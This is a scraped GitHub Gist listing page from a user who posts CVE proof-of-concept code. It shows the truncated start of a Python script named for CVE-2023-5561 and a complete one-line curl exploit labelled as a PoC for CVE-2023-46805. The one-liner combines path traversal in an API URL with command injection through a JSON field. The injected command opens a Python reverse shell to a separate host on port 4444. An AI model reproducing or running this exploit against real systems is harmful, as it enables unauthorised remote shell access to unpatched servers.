Skip to content

Instantly share code, notes, and snippets.

View numanturle's full-sized avatar
:bowtie:

numan numanturle

:bowtie:
View GitHub Profile
@numanturle
numanturle / CVE-2023-5561.py
Last active November 2, 2023 19:31
CVE-2023-5561
import requests
import string
import warnings
import json
import argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
warnings.simplefilter('ignore',InsecureRequestWarning)
proxy = {
@numanturle
numanturle / cve-2023-46805.sh
Created January 16, 2024 16:03
cve-2023-46805 poc
curl -ik --path-as-is https://192.168.86.111/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \"type\": \";python -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"192.168.86.43\\\",4444));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\';\", \"txtGCPProject\":\"a\", \"txtGCPSecret\":\"a\", \"txtGCPPath\":\"a\", \"txtGCPBucket\":\"a\" }'